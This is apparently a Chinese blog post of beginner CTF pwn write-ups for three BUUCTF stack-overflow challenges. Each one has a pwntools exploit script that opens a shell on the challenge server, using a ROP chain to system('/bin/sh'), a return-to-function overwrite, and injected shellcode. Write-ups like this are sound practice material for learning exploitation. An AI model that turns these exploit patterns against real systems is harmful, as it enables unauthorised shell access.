(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)
[HarekazeCTF2019]baby_rop 题
程序保护信息:

经典栈溢出题,有system函数,/bin/sh字符串:

解题脚本:
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('node3.buuoj.cn', 00000)
binsh_add = 0x601048
system_plt = 0x400490
pop_rdi = 0x400683
payload = 'A' * 0x10 + p64(0) + p64(pop_rdi) + p64(0x60104d) + p64(system_plt)
p.sendlineafter('name?', payload)
p.interactive()
总结
难度:★★
本来这道题是常规题,但是我却解了很长的时间,因为最开始获得shell的时候我没发现flag文件在哪里,最近再来写的时候突然发现了正确位置/home/babyrop/flag,一开始我切换到home目录后以为那个babyrop就是本题的程序,后来想起了ls -al命令列出的
开头的d表示目录,我还是对Linux命令不够熟悉。
bjdctf_2020_babystack 题
程序保护信息:

经典栈溢出题。
解题脚本:
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('node3.buuoj.cn', 25525)
payload = 'A' * 0x10 + p64(0) + p64(0x4006E6)
p.sendlineafter('name:\n', '-1')
p.sendlineafter('name?\n', payload)
p.interactive()
总结
难度:★
简单题。
ciscn_2019_n_5 题
程序保护信息:

main函数:

很明显,可以读一定数据到name处,由调试可知,name属于bss段,且可读、写和执行,所以可以将shellcode放入name这个位置,因为下方还有一个gets函数可以栈溢出,而且程序没开PIE所以可以通过覆盖返回地址转到name位置。
解题脚本:
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p = remote('node3.buuoj.cn', 00000)
payload = 'A' * 0x20 + p64(0) + p64(0x601080)
p.sendlineafter('name\n', asm(shellcraft.sh()))
p.sendlineafter('me?\n', payload)
p.interactive()
总结
难度:★
ret2shellcode的应用